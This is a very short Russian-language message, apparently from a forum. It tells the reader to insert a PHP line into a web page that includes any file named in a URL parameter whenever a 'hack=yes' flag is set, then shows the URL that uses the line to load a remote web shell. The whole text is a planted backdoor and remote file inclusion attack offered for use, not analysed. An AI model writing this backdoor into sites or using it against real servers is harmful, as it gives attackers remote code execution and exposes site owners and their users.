вставляешь в страницу вот это
if(@$_GET["hack"] == "yes") include($_GET['file']);

а вызываешь вот так

http://site.ru/index.php?hack=yes&file=http://site.ru/shell.txt